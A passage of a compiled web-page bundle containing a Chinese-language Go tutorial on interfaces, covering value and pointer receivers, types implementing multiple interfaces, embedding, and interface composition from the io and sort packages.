\u652f\u4ed8100\u5143\n\tobj.Pay(100)\n}\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u5b9e\u9645\u4e0a\uff0c\u4ece\u4e0a\u9762\u7684\u4ee3\u7801\u793a\u4f8b\u4e2d\u6211\u4eec\u53ef\u4ee5\u770b\u51fa\uff0c\u6211\u4eec\u5176\u5b9e\u5e76\u4e0d\u600e\u4e48\u5173\u5fc3\u7528\u6237\u9009\u62e9\u7684\u662f\u4ec0\u4e48\u652f\u4ed8\u65b9\u5f0f\uff0c\u6211\u4eec\u53ea\u5173\u5fc3\u8c03\u7528Pay\u65b9\u6cd5\u65f6\u80fd\u5426\u6b63\u5e38\u8fd0\u884c\u3002\u8fd9\u5c31\u662f\u5178\u578b\u7684\u201c\u4e0d\u5173\u5fc3\u5b83\u662f\u4ec0\u4e48\uff0c\u53ea\u5173\u5fc3\u5b83\u80fd\u505a\u4ec0\u4e48\u201d\u7684\u573a\u666f\u3002"}),"\n",(0,l.jsxs)(e.p,{children:["\u5728\u8fd9\u79cd\u573a\u666f\u4e0b\u6211\u4eec\u53ef\u4ee5\u5c06\u5177\u4f53\u7684\u652f\u4ed8\u65b9\u5f0f\u62bd\u8c61\u4e3a\u4e00\u4e2a\u540d\u4e3a",(0,l.jsx)(e.code,{children:"Payer"}),"\u7684\u63a5\u53e3\u7c7b\u578b\uff0c\u5373\u4efb\u4f55\u5b9e\u73b0\u4e86",(0,l.jsx)(e.code,{children:"Pay"}),"\u65b9\u6cd5\u7684\u90fd\u53ef\u4ee5\u79f0\u4e3a",(0,l.jsx)(e.code,{children:"Payer"}),"\u7c7b\u578b\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// Payer \u5305\u542b\u652f\u4ed8\u65b9\u6cd5\u7684\u63a5\u53e3\u7c7b\u578b\ntype Payer interface {\n\tPay(int64)\n}\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u6b64\u65f6\u53ea\u9700\u8981\u4fee\u6539\u4e0b\u539f\u59cb\u7684",(0,l.jsx)(e.code,{children:"Checkout"}),"\u51fd\u6570\uff0c\u5b83\u63a5\u6536\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Payer"}),"\u7c7b\u578b\u7684\u53c2\u6570\u3002\u8fd9\u6837\u5c31\u80fd\u591f\u5728\u4e0d\u4fee\u6539\u65e2\u6709\u51fd\u6570\u8c03\u7528\u7684\u57fa\u7840\u4e0a\uff0c\u652f\u6301\u65b0\u7684\u652f\u4ed8\u65b9\u5f0f\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// Checkout \u7ed3\u8d26\nfunc Checkout(obj Payer) {\n\t// \u652f\u4ed8100\u5143\n\tobj.Pay(100)\n}\n\nfunc main() {\n\tCheckout(&ZhiFuBao{}) // \u4e4b\u524d\u8c03\u7528\u652f\u4ed8\u5b9d\u652f\u4ed8\n\n\tCheckout(&WeChat{}) // \u73b0\u5728\u652f\u6301\u4f7f\u7528\u5fae\u4fe1\u652f\u4ed8\n}\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u50cf\u7c7b\u4f3c\u7684\u4f8b\u5b50\u5728\u6211\u4eec\u7f16\u7a0b\u8fc7\u7a0b\u4e2d\u4f1a\u7ecf\u5e38\u9047\u5230\uff1a"}),"\n",(0,l.jsxs)(e.ul,{children:["\n",(0,l.jsx)(e.li,{children:"\u6bd4\u5982\u4e00\u4e2a\u7f51\u4e0a\u5546\u57ce\u53ef\u80fd\u4f7f\u7528\u652f\u4ed8\u5b9d\u3001\u5fae\u4fe1\u3001\u94f6\u8054\u7b49\u65b9\u5f0f\u53bb\u5728\u7ebf\u652f\u4ed8\uff0c\u6211\u4eec\u80fd\u4e0d\u80fd\u628a\u5b83\u4eec\u5f53\u6210\u201c\u652f\u4ed8\u65b9\u5f0f\u201d\u6765\u5904\u7406\u5462\uff1f"}),"\n",(0,l.jsx)(e.li,{children:"\u6bd4\u5982\u4e09\u89d2\u5f62\uff0c\u56db\u8fb9\u5f62\uff0c\u5706\u5f62\u90fd\u80fd\u8ba1\u7b97\u5468\u957f\u548c\u9762\u79ef\uff0c\u6211\u4eec\u80fd\u4e0d\u80fd\u628a\u5b83\u4eec\u5f53\u6210\u201c\u56fe\u5f62\u201d\u6765\u5904\u7406\u5462\uff1f"}),"\n",(0,l.jsx)(e.li,{children:"\u6bd4\u5982\u6ee1\u51cf\u5238\u3001\u7acb\u51cf\u5238\u3001\u6253\u6298\u5238\u90fd\u5c5e\u4e8e\u7535\u5546\u573a\u666f\u4e0b\u5e38\u89c1\u7684\u4f18\u60e0\u65b9\u5f0f\uff0c\u6211\u4eec\u80fd\u4e0d\u80fd\u628a\u5b83\u4eec\u5f53\u6210\u201c\u4f18\u60e0\u5238\u201d\u6765\u5904\u7406\u5462\uff1f"}),"\n"]}),"\n",(0,l.jsx)(e.p,{children:"\u63a5\u53e3\u7c7b\u578b\u662fGo\u8bed\u8a00\u63d0\u4f9b\u7684\u4e00\u79cd\u5de5\u5177\uff0c\u5728\u5b9e\u9645\u7684\u7f16\u7801\u8fc7\u7a0b\u4e2d\u662f\u5426\u4f7f\u7528\u5b83\u7531\u4f60\u81ea\u5df1\u51b3\u5b9a\uff0c\u4f46\u662f\u901a\u5e38\u4f7f\u7528\u63a5\u53e3\u7c7b\u578b\u53ef\u4ee5\u4f7f\u4ee3\u7801\u66f4\u6e05\u6670\u6613\u8bfb\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u63a5\u53e3\u7c7b\u578b\u53d8\u91cf",children:"\u63a5\u53e3\u7c7b\u578b\u53d8\u91cf"}),"\n",(0,l.jsx)(e.p,{children:"\u90a3\u5b9e\u73b0\u4e86\u63a5\u53e3\u53c8\u6709\u4ec0\u4e48\u7528\u5462\uff1f\u4e00\u4e2a\u63a5\u53e3\u7c7b\u578b\u7684\u53d8\u91cf\u80fd\u591f\u5b58\u50a8\u6240\u6709\u5b9e\u73b0\u4e86\u8be5\u63a5\u53e3\u7684\u7c7b\u578b\u53d8\u91cf\u3002"}),"\n",(0,l.jsxs)(e.p,{children:["\u4f8b\u5982\u5728\u4e0a\u9762\u7684\u793a\u4f8b\u4e2d\uff0c",(0,l.jsx)(e.code,{children:"Dog"}),"\u548c",(0,l.jsx)(e.code,{children:"Cat"}),"\u7c7b\u578b\u5747\u5b9e\u73b0\u4e86",(0,l.jsx)(e.code,{children:"Sayer"}),"\u63a5\u53e3\uff0c\u6b64\u65f6\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Sayer"}),"\u7c7b\u578b\u7684\u53d8\u91cf\u5c31\u80fd\u591f\u63a5\u6536",(0,l.jsx)(e.code,{children:"Cat"}),"\u548c",(0,l.jsx)(e.code,{children:"Dog"}),"\u7c7b\u578b\u7684\u53d8\u91cf\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var x Sayer // \u58f0\u660e\u4e00\u4e2aSayer\u7c7b\u578b\u7684\u53d8\u91cfx\na := Cat{} // \u58f0\u660e\u4e00\u4e2aCat\u7c7b\u578b\u53d8\u91cfa\nb := Dog{} // \u58f0\u660e\u4e00\u4e2aDog\u7c7b\u578b\u53d8\u91cfb\nx = a // \u53ef\u4ee5\u628aCat\u7c7b\u578b\u53d8\u91cf\u76f4\u63a5\u8d4b\u503c\u7ed9x\nx.Say() // \u55b5\u55b5\u55b5\nx = b // \u53ef\u4ee5\u628aDog\u7c7b\u578b\u53d8\u91cf\u76f4\u63a5\u8d4b\u503c\u7ed9x\nx.Say() // \u6c6a\u6c6a\u6c6a\n"})}),"\n",(0,l.jsx)(e.h2,{id:"\u503c\u63a5\u6536\u8005\u548c\u6307\u9488\u63a5\u6536\u8005",children:"\u503c\u63a5\u6536\u8005\u548c\u6307\u9488\u63a5\u6536\u8005"}),"\n",(0,l.jsx)(e.p,{children:"\u5728\u7ed3\u6784\u4f53\u90a3\u4e00\u7ae0\u8282\u4e2d\uff0c\u6211\u4eec\u4ecb\u7ecd\u4e86\u5728\u5b9a\u4e49\u7ed3\u6784\u4f53\u65b9\u6cd5\u65f6\u65e2\u53ef\u4ee5\u4f7f\u7528\u503c\u63a5\u6536\u8005\u4e5f\u53ef\u4ee5\u4f7f\u7528\u6307\u9488\u63a5\u6536\u8005\u3002\u90a3\u4e48\u5bf9\u4e8e\u5b9e\u73b0\u63a5\u53e3\u6765\u8bf4\u4f7f\u7528\u503c\u63a5\u6536\u8005\u548c\u4f7f\u7528\u6307\u9488\u63a5\u6536\u8005\u6709\u4ec0\u4e48\u533a\u522b\u5462\uff1f\u63a5\u4e0b\u6765\u6211\u4eec\u901a\u8fc7\u4e00\u4e2a\u4f8b\u5b50\u770b\u4e00\u4e0b\u5176\u4e2d\u7684\u533a\u522b\u3002"}),"\n",(0,l.jsxs)(e.p,{children:["\u6211\u4eec\u5b9a\u4e49\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Mover"}),"\u63a5\u53e3\uff0c\u5b83\u5305\u542b\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Move"}),"\u65b9\u6cd5\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// Mover \u5b9a\u4e49\u4e00\u4e2a\u63a5\u53e3\u7c7b\u578b\ntype Mover interface {\n\tMove()\n}\n"})}),"\n",(0,l.jsx)(e.h3,{id:"\u503c\u63a5\u6536\u8005\u5b9e\u73b0\u63a5\u53e3",children:"\u503c\u63a5\u6536\u8005\u5b9e\u73b0\u63a5\u53e3"}),"\n",(0,l.jsxs)(e.p,{children:["\u6211\u4eec\u5b9a\u4e49\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Dog"}),"\u7ed3\u6784\u4f53\u7c7b\u578b\uff0c\u5e76\u4f7f\u7528\u503c\u63a5\u6536\u8005\u4e3a\u5176\u5b9a\u4e49\u4e00\u4e2a",(0,l.jsx)(e.code,{children:"Move"}),"\u65b9\u6cd5\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// Dog \u72d7\u7ed3\u6784\u4f53\u7c7b\u578b\ntype Dog struct{}\n\n// Move \u4f7f\u7528\u503c\u63a5\u6536\u8005\u5b9a\u4e49Move\u65b9\u6cd5\u5b9e\u73b0Mover\u63a5\u53e3\nfunc (d Dog) Move() {\n\tfmt.Println("\u72d7\u4f1a\u52a8")\n}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u6b64\u65f6\u5b9e\u73b0",(0,l.jsx)(e.code,{children:"Mover"}),"\u63a5\u53e3\u7684\u662f",(0,l.jsx)(e.code,{children:"Dog"}),"\u7c7b\u578b\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var x Mover // \u58f0\u660e\u4e00\u4e2aMover\u7c7b\u578b\u7684\u53d8\u91cfx\n\nvar d1 = Dog{} // d1\u662fDog\u7c7b\u578b\nx = d1 // \u53ef\u4ee5\u5c06d1\u8d4b\u503c\u7ed9\u53d8\u91cfx\nx.Move()\n\nvar d2 = &Dog{} // d2\u662fDog\u6307\u9488\u7c7b\u578b\nx = d2 // \u4e5f\u53ef\u4ee5\u5c06d2\u8d4b\u503c\u7ed9\u53d8\u91cfx\nx.Move()\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u4ece\u4e0a\u9762\u7684\u4ee3\u7801\u4e2d\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\uff0c\u4f7f\u7528\u503c\u63a5\u6536\u8005\u5b9e\u73b0\u63a5\u53e3\u4e4b\u540e\uff0c\u4e0d\u7ba1\u662f\u7ed3\u6784\u4f53\u7c7b\u578b\u8fd8\u662f\u5bf9\u5e94\u7684\u7ed3\u6784\u4f53\u6307\u9488\u7c7b\u578b\u7684\u53d8\u91cf\u90fd\u53ef\u4ee5\u8d4b\u503c\u7ed9\u8be5\u63a5\u53e3\u53d8\u91cf\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u6307\u9488\u63a5\u6536\u8005\u5b9e\u73b0\u63a5\u53e3",children:"\u6307\u9488\u63a5\u6536\u8005\u5b9e\u73b0\u63a5\u53e3"}),"\n",(0,l.jsx)(e.p,{children:"\u6211\u4eec\u518d\u6765\u6d4b\u8bd5\u4e00\u4e0b\u4f7f\u7528\u6307\u9488\u63a5\u6536\u8005\u5b9e\u73b0\u63a5\u53e3\u6709\u4ec0\u4e48\u533a\u522b\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// Cat \u732b\u7ed3\u6784\u4f53\u7c7b\u578b\ntype Cat struct{}\n\n// Move \u4f7f\u7528\u6307\u9488\u63a5\u6536\u8005\u5b9a\u4e49Move\u65b9\u6cd5\u5b9e\u73b0Mover\u63a5\u53e3\nfunc (c *Cat) Move() {\n\tfmt.Println("\u732b\u4f1a\u52a8")\n}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u6b64\u65f6\u5b9e\u73b0",(0,l.jsx)(e.code,{children:"Mover"}),"\u63a5\u53e3\u7684\u662f",(0,l.jsx)(e.code,{children:"*Cat"}),"\u7c7b\u578b\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06",(0,l.jsx)(e.code,{children:"*Cat"}),"\u7c7b\u578b\u7684\u53d8\u91cf\u76f4\u63a5\u8d4b\u503c\u7ed9",(0,l.jsx)(e.code,{children:"Mover"}),"\u63a5\u53e3\u7c7b\u578b\u7684\u53d8\u91cf",(0,l.jsx)(e.code,{children:"x"}),"\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var c1 = &Cat{} // c1\u662f*Cat\u7c7b\u578b\nx = c1 // \u53ef\u4ee5\u5c06c1\u5f53\u6210Mover\u7c7b\u578b\nx.Move()\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u4f46\u662f\u4e0d\u80fd\u7ed9\u5c06",(0,l.jsx)(e.code,{children:"Cat"}),"\u7c7b\u578b\u7684\u53d8\u91cf\u8d4b\u503c\u7ed9",(0,l.jsx)(e.code,{children:"Mover"}),"\u63a5\u53e3\u7c7b\u578b\u7684\u53d8\u91cf",(0,l.jsx)(e.code,{children:"x"}),"\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// \u4e0b\u9762\u7684\u4ee3\u7801\u65e0\u6cd5\u901a\u8fc7\u7f16\u8bd1\nvar c2 = Cat{} // c2\u662fCat\u7c7b\u578b\nx = c2 // \u4e0d\u80fd\u5c06c2\u5f53\u6210Mover\u7c7b\u578b\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u7531\u4e8eGo\u8bed\u8a00\u4e2d\u6709\u5bf9\u6307\u9488\u6c42\u503c\u7684\u8bed\u6cd5\u7cd6\uff0c\u5bf9\u4e8e\u503c\u63a5\u6536\u8005\u5b9e\u73b0\u7684\u63a5\u53e3\uff0c\u65e0\u8bba\u4f7f\u7528\u503c\u7c7b\u578b\u8fd8\u662f\u6307\u9488\u7c7b\u578b\u90fd\u6ca1\u6709\u95ee\u9898\u3002\u4f46\u662f\u6211\u4eec\u5e76\u4e0d\u603b\u662f\u80fd\u5bf9\u4e00\u4e2a\u503c\u6c42\u5740\uff0c\u6240\u4ee5\u5bf9\u4e8e\u6307\u9488\u63a5\u6536\u8005\u5b9e\u73b0\u7684\u63a5\u53e3\u8981\u989d\u5916\u6ce8\u610f\u3002"}),"\n",(0,l.jsx)(e.h2,{id:"\u7c7b\u578b\u4e0e\u63a5\u53e3\u7684\u5173\u7cfb",children:"\u7c7b\u578b\u4e0e\u63a5\u53e3\u7684\u5173\u7cfb"}),"\n",(0,l.jsx)(e.h3,{id:"\u4e00\u4e2a\u7c7b\u578b\u5b9e\u73b0\u591a\u4e2a\u63a5\u53e3",children:"\u4e00\u4e2a\u7c7b\u578b\u5b9e\u73b0\u591a\u4e2a\u63a5\u53e3"}),"\n",(0,l.jsxs)(e.p,{children:["\u4e00\u4e2a\u7c7b\u578b\u53ef\u4ee5\u540c\u65f6\u5b9e\u73b0\u591a\u4e2a\u63a5\u53e3\uff0c\u800c\u63a5\u53e3\u95f4\u5f7c\u6b64\u72ec\u7acb\uff0c\u4e0d\u77e5\u9053\u5bf9\u65b9\u7684\u5b9e\u73b0\u3002\u4f8b\u5982\u72d7\u4e0d\u4ec5\u53ef\u4ee5\u53eb\uff0c\u8fd8\u53ef\u4ee5\u52a8\u3002\u6211\u4eec\u5b8c\u5168\u53ef\u4ee5\u5206\u522b\u5b9a\u4e49",(0,l.jsx)(e.code,{children:"Sayer"}),"\u63a5\u53e3\u548c",(0,l.jsx)(e.code,{children:"Mover"}),"\u63a5\u53e3\uff0c\u5177\u4f53\u4ee3\u7801\u793a\u4f8b\u5982\u4e0b\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// Sayer \u63a5\u53e3\ntype Sayer interface {\n\tSay()\n}\n\n// Mover \u63a5\u53e3\ntype Mover interface {\n\tMove()\n}\n"})}),"\n",(0,l.jsxs)(e.p,{children:[(0,l.jsx)(e.code,{children:"Dog"}),"\u65e2\u53ef\u4ee5\u5b9e\u73b0",(0,l.jsx)(e.code,{children:"Sayer"}),"\u63a5\u53e3\uff0c\u4e5f\u53ef\u4ee5\u5b9e\u73b0",(0,l.jsx)(e.code,{children:"Mover"}),"\u63a5\u53e3\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'type Dog struct {\n\tName string\n}\n\n// \u5b9e\u73b0Sayer\u63a5\u53e3\nfunc (d Dog) Say() {\n\tfmt.Printf("%s\u4f1a\u53eb\u6c6a\u6c6a\u6c6a\\n", d.Name)\n}\n\n// \u5b9e\u73b0Mover\u63a5\u53e3\nfunc (d Dog) Move() {\n\tfmt.Printf("%s\u4f1a\u52a8\\n", d.Name)\n}\n'})}),"\n",(0,l.jsx)(e.p,{children:"\u540c\u4e00\u4e2a\u7c7b\u578b\u5b9e\u73b0\u4e0d\u540c\u7684\u63a5\u53e3\u4e92\u76f8\u4e0d\u5f71\u54cd\u4f7f\u7528\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'var d = Dog{Name: "\u65fa\u8d22"}\n\nvar s Sayer = d\nvar m Mover = d\n\ns.Say() // \u5bf9Sayer\u7c7b\u578b\u8c03\u7528Say\u65b9\u6cd5\nm.Move() // \u5bf9Mover\u7c7b\u578b\u8c03\u7528Move\u65b9\u6cd5\n'})}),"\n",(0,l.jsx)(e.h3,{id:"\u591a\u79cd\u7c7b\u578b\u5b9e\u73b0\u540c\u4e00\u63a5\u53e3",children:"\u591a\u79cd\u7c7b\u578b\u5b9e\u73b0\u540c\u4e00\u63a5\u53e3"}),"\n",(0,l.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u4e0d\u540c\u7684\u7c7b\u578b\u8fd8\u53ef\u4ee5\u5b9e\u73b0\u540c\u4e00\u63a5\u53e3\u3002\u4f8b\u5982\u5728\u6211\u4eec\u7684\u4ee3\u7801\u4e16\u754c\u4e2d\u4e0d\u4ec5\u72d7\u53ef\u4ee5\u52a8\uff0c\u6c7d\u8f66\u4e5f\u53ef\u4ee5\u52a8\u3002\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u5982\u4e0b\u4ee3\u7801\u4f53\u73b0\u8fd9\u4e2a\u5173\u7cfb\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// \u5b9e\u73b0Mover\u63a5\u53e3\nfunc (d Dog) Move() {\n\tfmt.Printf("%s\u4f1a\u52a8\\n", d.Name)\n}\n\n// Car \u6c7d\u8f66\u7ed3\u6784\u4f53\u7c7b\u578b\ntype Car struct {\n\tBrand string\n}\n\n// Move Car\u7c7b\u578b\u5b9e\u73b0Mover\u63a5\u53e3\nfunc (c Car) Move() {\n\tfmt.Printf("%s\u901f\u5ea670\u8fc8\\n", c.Brand)\n}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u8fd9\u6837\u6211\u4eec\u5728\u4ee3\u7801\u4e2d\u5c31\u53ef\u4ee5\u628a\u72d7\u548c\u6c7d\u8f66\u5f53\u6210\u4e00\u4e2a\u4f1a\u52a8\u7684\u7c7b\u578b\u6765\u5904\u7406\uff0c\u4e0d\u5fc5\u5173\u6ce8\u5b83\u4eec\u5177\u4f53\u662f\u4ec0\u4e48\uff0c\u53ea\u9700\u8981\u8c03\u7528\u5b83\u4eec\u7684",(0,l.jsx)(e.code,{children:"Move"}),"\u65b9\u6cd5\u5c31\u53ef\u4ee5\u4e86\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'var obj Mover\n\nobj = Dog{Name: "\u65fa\u8d22"}\nobj.Move()\n\nobj = Car{Brand: "\u5b9d\u9a6c"}\nobj.Move()\n'})}),"\n",(0,l.jsx)(e.p,{children:"\u4e0a\u9762\u7684\u4ee3\u7801\u6267\u884c\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"\u65fa\u8d22\u4f1a\u8dd1\n\u5b9d\u9a6c\u901f\u5ea670\u8fc8\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u4e00\u4e2a\u63a5\u53e3\u7684\u6240\u6709\u65b9\u6cd5\uff0c\u4e0d\u4e00\u5b9a\u9700\u8981\u7531\u4e00\u4e2a\u7c7b\u578b\u5b8c\u5168\u5b9e\u73b0\uff0c\u63a5\u53e3\u7684\u65b9\u6cd5\u53ef\u4ee5\u901a\u8fc7\u5728\u7c7b\u578b\u4e2d\u5d4c\u5165\u5176\u4ed6\u7c7b\u578b\u6216\u8005\u7ed3\u6784\u4f53\u6765\u5b9e\u73b0\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'// WashingMachine \u6d17\u8863\u673a\ntype WashingMachine interface {\n\twash()\n\tdry()\n}\n\n// \u7529\u5e72\u5668\ntype dryer struct{}\n\n// \u5b9e\u73b0WashingMachine\u63a5\u53e3\u7684dry()\u65b9\u6cd5\nfunc (d dryer) dry() {\n\tfmt.Println("\u7529\u4e00\u7529")\n}\n\n// \u6d77\u5c14\u6d17\u8863\u673a\ntype haier struct {\n\tdryer //\u5d4c\u5165\u7529\u5e72\u5668\n}\n\n// \u5b9e\u73b0WashingMachine\u63a5\u53e3\u7684wash()\u65b9\u6cd5\nfunc (h haier) wash() {\n\tfmt.Println("\u6d17\u5237\u5237")\n}\n'})}),"\n",(0,l.jsx)(e.h2,{id:"\u63a5\u53e3\u7ec4\u5408",children:"\u63a5\u53e3\u7ec4\u5408"}),"\n",(0,l.jsxs)(e.p,{children:["\u63a5\u53e3\u4e0e\u63a5\u53e3\u4e4b\u95f4\u53ef\u4ee5\u901a\u8fc7\u4e92\u76f8\u5d4c\u5957\u5f62\u6210\u65b0\u7684\u63a5\u53e3\u7c7b\u578b\uff0c\u4f8b\u5982Go\u6807\u51c6\u5e93",(0,l.jsx)(e.code,{children:"io"}),"\u6e90\u7801\u4e2d\u5c31\u6709\u5f88\u591a\u63a5\u53e3\u4e4b\u95f4\u4e92\u76f8\u7ec4\u5408\u7684\u793a\u4f8b\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// src/io/io.go\n\ntype Reader interface {\n\tRead(p []byte) (n int, err error)\n}\n\ntype Writer interface {\n\tWrite(p []byte) (n int, err error)\n}\n\ntype Closer interface {\n\tClose() error\n}\n\n// ReadWriter \u662f\u7ec4\u5408Reader\u63a5\u53e3\u548cWriter\u63a5\u53e3\u5f62\u6210\u7684\u65b0\u63a5\u53e3\u7c7b\u578b\ntype ReadWriter interface {\n\tReader\n\tWriter\n}\n\n// ReadCloser \u662f\u7ec4\u5408Reader\u63a5\u53e3\u548cCloser\u63a5\u53e3\u5f62\u6210\u7684\u65b0\u63a5\u53e3\u7c7b\u578b\ntype ReadCloser interface {\n\tReader\n\tCloser\n}\n\n// WriteCloser \u662f\u7ec4\u5408Writer\u63a5\u53e3\u548cCloser\u63a5\u53e3\u5f62\u6210\u7684\u65b0\u63a5\u53e3\u7c7b\u578b\ntype WriteCloser interface {\n\tWriter\n\tCloser\n}\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u5bf9\u4e8e\u8fd9\u79cd\u7531\u591a\u4e2a\u63a5\u53e3\u7c7b\u578b\u7ec4\u5408\u5f62\u6210\u7684\u65b0\u63a5\u53e3\u7c7b\u578b\uff0c\u540c\u6837\u53ea\u9700\u8981\u5b9e\u73b0\u65b0\u63a5\u53e3\u7c7b\u578b\u4e2d\u89c4\u5b9a\u7684\u6240\u6709\u65b9\u6cd5\u5c31\u7b97\u5b9e\u73b0\u4e86\u8be5\u63a5\u53e3\u7c7b\u578b\u3002"}),"\n",(0,l.jsxs)(e.p,{children:["\u63a5\u53e3\u4e5f\u53ef\u4ee5\u4f5c\u4e3a\u7ed3\u6784\u4f53\u7684\u4e00\u4e2a\u5b57\u6bb5\uff0c\u6211\u4eec\u6765\u770b\u4e00\u6bb5Go\u6807\u51c6\u5e93",(0,l.jsx)(e.code,{children:"sort"}),"\u6e90\u7801\u4e2d\u7684\u793a\u4f8b\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// src/sort/sort.go\n\n// Interface \u5b9a\u4e49\u901a\u8fc7\u7d22\u5f15\u5bf9\u5143\u7d20\u6392\u5e8f\u7684\u63a5\u53e3\u7c7b\u578b\ntype Interface interface {\n Len() int\n Less(i, j int) bool\n Swap(i, j int)\n}\n\n\n// reverse \u7ed3\u6784\u4f53\u4e2d\u5d4c\u5165\u4e86Interface\u63a5\u53e3\ntype reverse struct {\n Interface\n}\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u901a\u8fc7\u5728\u7ed3\u6784\u4f53\u4e2d\u5d4c\u5165\u4e00\u4e2a\u63a5\u53e3\u7c7b\u578b\uff0c\u4ece\u800c\u8ba9\u8be5\u7ed3\u6784\u4f53\u7c7b\u578b\u5b9e\u73b0\u4e86\u8be5\u63a5\u53e3\u7c7b\u578b\uff0c\u5e76\u4e14\u8fd8\u53ef\u4ee5\u6539\u5199\u8be5\u63a5\u53e3\u7684\u65b9\u6cd5\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"// Less \u4e3areverse\u7c7b\u578b\u6dfb\u52a0Less\u65b9\u6cd5\uff0c\u91cd\u5199\u539fInterface\u63a5\u53e3\u7c7b\u578b\u7684Less\u65b9\u6cd5\nfunc (r reverse) Less(i, j int) bool {\n\treturn r.Interface.Less(j, i)\n}\n"})}),"\n",(0,l.jsxs)(e.p,{children:[(0,l.jsx)(e.code,{children:"Interface"}),"\u7c7b\u578b\u539f\u672c\u7684",(0,l.jsx)(e.code,{children:"Less"}),"\u65b9\u6cd5\u7b7e\u540d\u4e3a",(0,l.jsx)(e.code,{children:"Less(i, j int) bool"}),"\uff0c\u6b64\u5904\u91cd\u5199\u4e3a",(0,l.jsx)(e.code,{children:"r.Interface.Less(j, i)"}),"\uff0c\u5373\u901a\u8fc7\u5c06\u7d22\u5f15\u53c2\u6570\u4ea4\u6362\u4f4d\u7f6e\u5b9e\u73b0\u53cd\u8f6c\u3002"]}),"\n",(0,l.jsxs)(e.p,{children:["\u5728\u8fd9\u4e2a\u793a\u4f8b\u4e2d\u8fd8\u6709\u4e00\u4e2a\u9700\u8981\u6ce8\u610f\u7684\u5730\u65b9\u662f",(0,l.jsx)(e.code,{children:"reverse"}),"\u7ed3\u6784\u4f53\u672c\u8eab\u662f\u4e0d\u53ef\u5bfc\u51fa\u7684\uff08\u7ed3\u6784\u4f53\u7c7b\u578b\u540d\u79f0\u9996\u5b57\u6bcd\u5c0f\u5199\uff09\uff0c",(0,l.jsx)(e.code,{children:"sort.go"}),"\u4e2d\u901a\u8fc7\u5b9a\u4e49\u4e00\u4e2a\u53ef\u5bfc\u51fa\u7684",(0,l.jsx)(e.code,{children:"Reverse"}),"\u51fd\u6570\u6765\u8ba9\u4f7f\u7528\u8005\u521b\u5efa",(0,l.jsx)(e.code,{children:"reverse"}),"\u7ed3\u6784\u4f53\u5b9e\u4f8b\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"func Reverse(data Interface) Interface {\n\treturn &reverse{data}\n}\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u8fd9\u6837\u505a\u7684\u76ee\u7684\u662f\u4fdd\u8bc1\u5f97\u5230\u7684",(0,l.jsx)(e.code,{children:"reverse"}),"\u7ed3\u6784\u4f53\u4e2d\u7684",(0,l.jsx)(e.code,{children:"Interface"}),"\u5c5e\u6027\u4e00\u5b9a\u4e0d\u4e3a",(0,l.jsx)(e.code,{children:"nil"}),"\uff0c\u5426\u8005",(0,l.jsx)(e.code,{children:"r.Interface.Less(j, 